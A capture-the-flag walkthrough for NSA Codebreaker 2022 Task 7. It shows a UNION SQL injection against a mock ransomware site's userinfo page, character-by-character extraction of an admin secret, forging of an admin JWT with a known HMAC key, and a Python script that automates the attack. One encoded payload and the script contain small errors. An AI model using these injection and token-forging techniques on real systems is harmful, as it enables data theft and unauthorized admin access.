Task 7 of NSA Codebreaker 2022
Task 7 - Privilege Escalation - (Web Hacking, SQL Injection)
With access to the site, you can access most of the functionality. But there’s still that admin area that’s locked off.
Generate a new token value which will allow you to access the ransomware site as an administrator.
Prompt:
- Enter a token value which will allow you to login as an administrator.
Pre-Requisites
- Complete all tasks up to Task 6
- The cookie
tok
value you generated in Task 6 - The
server.py
andutil.py
files you collected in Task B2. Use the script at the end of the Task B2 page if you need to download the files. - A database viewer, like DB Browser for SQLite
Building a Token
As we learned in the last Task, the following information is required to build a JSON Web Token. Here’s what we have on-hand already.
- The Token HMAC Key
- The Token Algorithm
- The Token Creation Datetime
- The Token Expiration Datetime
- The User’s ID (
uid
) - The User’s secret (
sec
)
If we can grab an Admin uid
and sec
, we should be able to generate an Admin token.
Information Gathering
After opening the backend website, we see that there are seven links in the menu:
- Home - Introduces a user to the site.
- Generate Key - Seems to generate a new encryption key.
- Unlock Request - Requests an encryption key to unlock files after the customer has paid.
- Admin List - Shows a list of administrators.
- User Info - Shows metrics for the current user.
- Forum - A fake forum that has nothing but text.
- Admin - Not sure yet. Requires Admin access.
We can clearly see on the Admin List page that the admin user is RoomyFoodstuffs
.
Getting the Admin’s Metrics
Upon reviewing the server.py
file, we find a couple of interesting functions that use SQL commands. Upon first glance at the website, the function userinfo()
seems to show only information about the current user.
However, after reading the server.py
file, we realize that we can use query arguments to populate information about specific users.
def userinfo():
query = request.values.get('user')
if query == None:
query = util.get_username()
userName = memberSince = clientsHelped = hackersHelped = contributed = ''
with util.userdb() as con:
infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query
Let’s try populating the information for the RoomyFoodstuffs
by adding a user
argument to the URI query, like so:
- https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/userinfo?user=RoomyFoodstuffs
Format String Vulnerability
Line 33 of the server.py
file actually includes a vulnerability:
infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query
Python Format Strings are an easy way of making various data types human readable without having to worry about conversions. In this case, the %s
structure tells python to paste the query
value directly into the string.
Format Strings can be dangerous, especially when the string is executed afterwards. If the user’s input is not sanitized before being joined with a SQLite expression, additional commands could be injected afterwards. This is often called a SQL Injection or Format Strings attack.
In theory, we can use the user
argument of the userinfo
page to inject additional SQL commands. We can test our theory by trying to change the original SQLite statement from one that select a user by username
:
SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName='RoomyFoodstuffs'
To a SQLite statement that selects a user by uid
. What we are really doing is adding ' OR a.uid='22712
to the user
argument.
SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName='' OR a.uid='22712'
Notice that the command inserts two additional '
singlequote symbols to insert the command while still using the outer two singlequote symbols that are in the source code.
To add this string to the user
argument, we’ll need to URL encode the string (I used CyberChef) and add it to the end of the URL.
- https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/userinfo?user=%27%20OR%20a%2Euid%3D%2722712
This still gives us the page for the AttractiveWhorl user, but now it uses the uid
to do so.
Useful Table Fields
We still don’t have a good idea of what information is stored in both the UserInfo
and Account
tables. We get our first clue from the util.py
script:
# A table of the "Customers"
@contextmanager
def victimdb():
victimdb = "/opt/ransommethis/db/victims.db"
try:
con = sqlite3.connect(victimdb)
yield con
finally:
con.close()
# A table of the Ransomware Team Members
@contextmanager
def userdb():
userdb = f"/opt/ransommethis/db/user.db"
try:
con = sqlite3.connect(userdb)
yield con
finally:
con.close()
# The token generation function
def generate_token(userName):
""" Generate a new login token for the given user, good for 30 days"""
with userdb() as con:
# NOTICE THE `uid`, `userName`, AND `secret` FIELDS IN THE `Accounts` TABLE!!!
row = con.execute("SELECT uid, secret from Accounts WHERE userName = ?", (userName,)).fetchone()
now = datetime.now()
exp = now + timedelta(days=30)
claims = {'iat': now,
'exp': exp,
'uid': row[0],
'sec': row[1]}
return jwt.encode(claims, hmac_key(), algorithm='HS256')
# Checks if the user is an administrator
def is_admin():
""" Is the logged-in user an admin? """
uid = get_uid()
with userdb() as con:
# NOTICE THE `isAdmin` FIELD IN THE `Accounts` TABLE!!!
query = "SELECT isAdmin FROM Accounts WHERE uid = ?"
row = con.execute(query, (uid,)).fetchone()
if row is None:
return False
return row[0] == 1
# Login the user
def login(username, password):
""" Returns a login cookie, or None if the user cannot be validated """
with userdb() as con:
# NOTICE THE `pwhash` and `pwsalt` FIELD IN THE `Accounts` TABLE!!!
row = con.execute('SELECT pwhash, pwsalt FROM Accounts where userName = ?', (username, )).fetchone()
if row is None:
return None
if scrypt(password, salt=row[1], n=16384, r=8, p=1) != b64decode(row[0]):
return None
return generate_token(username)
This tells us that the Accounts
table has at least the following fields we can query:
- uid
- userName
- secret
- isAdmin
- pwhash
- pwsalt
Getting the Admin UID
Let’s try to build a SQL injection statement that returns one of the numeric values.
SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName=''
UNION
SELECT A.uid, A.uid, A.isAdmin, A.isAdmin
FROM Accounts A
WHERE A.isAdmin = 1 --'
Which results in the following SQL Injection for the user
argument:
%27%20UNION%20SELECT%20A%2Euid%2C%20A%2Euid%2C%20A%2EisAdmin%2C%20A%2EisAdmin%20FROM%20Accounts%20A%20WHERE%20A%2EisAdmin%20%3D%201%20%2D%2D
Here is the URL with the argument encoded at the end:
- https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/userinfo?user=%27%20UNION%20SELECT%20A%2Euid%2C%20A%2Euid%2C%20A%2EisAdmin%2C%20A%2EisAdmin%20FROM%20Accounts%20A%20WHERE%20A%2EisAdmin%20%3D%201%20%2D%2D
If my hunch is correct, the top two boxes in the screen should reflect the uid
value, and the bottom two boxes should say 1
to reflect the isAdmin
value.
As we can see, the UID for the Admin user is 14795
Getting the Admin Secret
Let’s try the same technique we used before to grab the secret
value for the admin user.
SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName=''
UNION
SELECT A.uid, A.secret, A.isAdmin, A.isAdmin
FROM Accounts A
WHERE A.isAdmin = 1 --'
Which results in the following SQL Injection for the user
argument:
%27%20UNION%20SELECT%20A%2Euid%2C%20A%2Euid%2C%20A%2EisAdmin%2C%20A%2EisAdmin%20FROM%20Accounts%20A%20WHERE%20A%2EisAdmin%20%3D%201%20%2D%2D
Unfortunately, we get an internal server error. If we take another look at the userinfo()
function, we’ll see why:
with util.userdb() as con:
infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query
row = con.execute(infoquery).fetchone()
if row != None:
userName = query
# All values are sanitized as INTEGERS
memberSince = int(row[0])
clientsHelped = int(row[1])
hackersHelped = int(row[2])
contributed = int(row[3])
It looks like the script is limiting output to Integer values only.
Converting Letters to Numbers
It is possible in SQL to convert a character to a number using the UNICODE
function. For example, the command SELECT UNICODE('A');
returns a value of 65
. This works great for a single character at a time, but if we run the command on a multi-character string, we only get the unicode value of the first character.
To convert each letter at a time to UNICODE, we’ll need to also use the SUBSTR
function. For example, the command SELECT SUBSTR('Apple', 1, 3);
returns a value of App
. The format for the function is SUBST("string", startingLetter, numberOfLetters)
. If you wanted to get the last middle two letters in the word balloons
, you would use the command SELECT SUBSTR('balloons', 4, 2);
.
If we combine these two functions together, we could theoretically read each character of the secret
value at a time as unicode. Let’s write and test the first query.
SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed
FROM Accounts a
INNER JOIN UserInfo u
ON a.uid = u.uid
WHERE a.userName=''
UNION
SELECT A.uid, UNICODE(SUBSTR(A.secret,1,1)), A.isAdmin, A.isAdmin
FROM Accounts A
WHERE A.isAdmin = 1 --'
Which becomes the following SQL inject: %27%20UNION%20SELECT%20A%2Euid%2C%20UNICODE%28SUBSTR%28A%2Esecret%2C1%2C1%29%29%2C%20A%2EisAdmin%2C%20A%2EisAdmin%20FROM%20Accounts%20A%20WHERE%20A%2EisAdmin%20%3D%201%20%2D%2D
And when it is added to the URI, it results in the following link:
- https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/userinfo?user=%27%20UNION%20SELECT%20A%2Euid%2C%20UNICODE%28SUBSTR%28A%2Esecret%2C1%2C1%29%29%2C%20A%2EisAdmin%2C%20A%2EisAdmin%20FROM%20Accounts%20A%20WHERE%20A%2EisAdmin%20%3D%201%20%2D%2D
As we can see, the UNICODE value is 117
, which translates to the u
character.
Let’s repeat this process for each of 32 characters in the secret
value. We can do this by incrementing the second argument of each SUBSTR
function like UNICODE(SUBSTR(A.seret, <letterNumber>, 1))
.
When we finish, we get the following UNICODE values:
117 68 49 50 81 51 100 85 78 76 82 116 109 69 98 110 87 101 120 109 52 73 54 50 105 114 73 83 79 68 119 54
When we convert them all back to letters, we get the following string:
uD12Q3dUNLRtmEbnWexm4I62irISODw6
Creating the Admin Token
If you’re lost, look at the script and process from Task 6.
Go ahead and create an Admin token with the uid
of 14795
and the sec
of uD12Q3dUNLRtmEbnWexm4I62irISODw6
. Once you’ve built the token, add it to the browser as a cookie with the name of tok
. In my case, the last tok
value I generated was eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2NjkwNDIxODAsImV4cCI6MTY3MTYzNDE4MCwidWlkIjoxNDc5NSwic2VjIjoidUQxMlEzZFVOTFJ0bUVibldleG00STYyaXJJU09EdzYifQ.uthCq56mdrqw26iidn_ZUGiwaA2Z8K9UfidP2ZpcJV8
.
Test out your new credentials by visiting the Admin page.
We’ve got access to the admin page. When we submit the admin token to the NSA Codebreaker Submission Portal, we get a green banner, meaning it worked!
BONUS: Automated Script
This is a script I built to automate the entire process. I could have hard-coded the secret
value, but I didn’t want to risk losing access when the admin changes their password.
#!/usr/bin/env python3
# Needed to request webpages and strip out the <p> tag values
from html.parser import HTMLParser
from bs4 import BeautifulSoup
import requests
# Needed to build the JSON Web Tokens
import jwt
from datetime import datetime, timedelta
def buildToken(uid, sec):
"""Code copied from Task 6"""
hmac_key = "QKOvgVfXixejHbpu7Leh6twMHVZcqsqE"
now = datetime.now()
exp = now + timedelta(days=30)
claims = {
"iat": now,
"exp": exp,
"uid": uid,
"sec": sec
}
return jwt.encode(claims, hmac_key, algorithm="HS256")
def grabSec(uid, token):
"""
Uses a basic User Token to access and exploit an un-sanitized input to a database query.
Steps:
1. Builds Token Cookie
2. Sends 32 sql injections: one for each character of the secret
a. Injects SQL into un-sanitized input on 'userinfo' page query args
b. Only numbers allowed, so convert 1 character of secret to unicode int
c. Do this 32 times to get the entire secret
3. Tests the page response to see if it loaded
4. Converts text to a BeautifulSoup object
5. Grabs the webpage value, converts back to unicode character, and adds to result string
"""
result = ""
cookie = { "tok" : token}
for i in range(1,33):
url = "https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/userinfo"
url += "?user=NULL' UNION SELECT A.uid, UNICODE(substr(A.secret," + str(i) + ",1)), A.isAdmin, A.isAdmin FROM Accounts A WHERE A.uid = " + uid + "--"
r = requests.get(url, cookies=cookie)
if r.status_code == 200:
content = r.text
soup = BeautifulSoup(content, "html.parser")
# grab the integer value from the second <p> tag in the document
# and convert it to a character
result += chr(int(soup.find_all("p")[1].text))
return result
def testToken(token):
"""
Verifies that the user's token skips the login page.
Steps:
1. Build Cookie with token
2. Request login-page and parse with BeautifulSoup
3. Check for words 'Login Page'
"""
cookie = {"tok" : token}
url = "https://wrfbgtsocesalacv.ransommethis.net/fwjvwewwfiqfvfgp/userinfo"
r = requests.get(url, cookies=cookie)
if r.status_code == 200:
content = r.text
soup = BeautifulSoup(content, "html.parser")
if "Login" in soup.title.text:
return False
return True
return False
def main():
# create basic user token using these values:
# uid = 22712
# sec = "V6bLNaOZ7sQzJAH8OpuUaVFtxZkPsEWi"
userToken = buildToken(22712, "V6bLNaOZ7sQzJAH8OpuUaVFtxZkPsEWi")
# Use the basic user token to exploit the poor input sanitation on the database query
adminSec = grabSec(14795, userToken)
# create an Admin Token
adminToken = buildToken(14795, adminSec)
# Test the Admin token to see if it works
if testToken(adminToken):
print(adminToken)
else:
print("Failed!")
# Runs the script from command line
if __name__ == "__main__":
main()